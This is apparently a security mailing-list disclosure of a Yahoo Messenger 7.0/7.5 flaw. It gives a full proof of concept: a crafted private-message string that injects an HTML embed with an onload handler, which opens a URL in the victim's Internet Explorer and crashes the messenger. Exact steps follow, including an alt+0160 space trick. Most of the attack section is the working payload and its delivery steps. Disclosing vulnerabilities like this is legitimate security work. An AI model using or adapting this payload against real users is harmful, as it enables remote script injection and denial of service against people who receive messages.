Hi,
I found an another vulnerability in yahoo messenger that if you receive a Private message with this string helomsg:+)-(%/?#()(=(/;@#~$(@;+?/(?#@@*-)?@+#@;?(msg:---------------------------------------------<embed onload=window.open('http:\\\\google.com/')>helomsg:+)-(%/?#()(=(/;@#~$(@;+?/(?#@@-)?@+#@;?(msg:---------------------------------------------<embed onload=window.open('http:\\\\google.com/')>helomsg:+)-(%/?#()(=(/;_@#~$(@;+?/(?#@@-)?@+#@;?(Yahoo messenger open in this case google.com in the internet explorer in the remote victim.
Yahoo messenger bug proof of concept:
- Open messenger and log it.
- Open a yahoo chat third party like yahelite through Ymsgr protocol and log it with another account.
- Send a Pm to the messenger account with this string: s: helomsg :+)-(%/?#()(=(/;@#~$(@;+?/(?#@@*-)?@+#@;?(msg:---------------------------------------------<embed onload=window.open('http:\\\\google.com/')>helomsg :+)-(%/?#()(=(/;@#~$(@;+?/(?#@@-)?@+#@;?(msg:---------------------------------------------<embed onload=window.open('http:\\\\google.com/')>helomsg :+)-(%/?#()(=(/;_@#~$(@;+?/(?#@@-)?@+#@;?(
- The remote user will crash closing down her messenger.
Note: "helomsg :" this space must be created with alt+0160 and this "s: " with a space
s:[space]helomsg[alt+0160]:+)-(%/?#()(=(/;@#~$(@;+?/(?#@@*-)?@+#@;?(msg:---------------------------------------------<embed onload=window.open('http:\\\\google.com/')>helomsg[alt+0160]:+)-(%/?#()(=(/;@#~$(@;+?/(?#@@-)?@+#@;?(msg:---------------------------------------------<embed onload=window.open('http:\\\\google.com/')>helomsg[alt+0160]:+)-(%/?#()(=(/;_@#~$(@;+?/(?#@@-)?@+#@;?(
Tested in yahoo messenger 7.0/7.5
Regards
Pregunta. Responde. Descubri.
Todo lo que querias saber, y lo que ni imaginabas,
esta en Yahoo! Respuestas (Beta).
Probalo ya!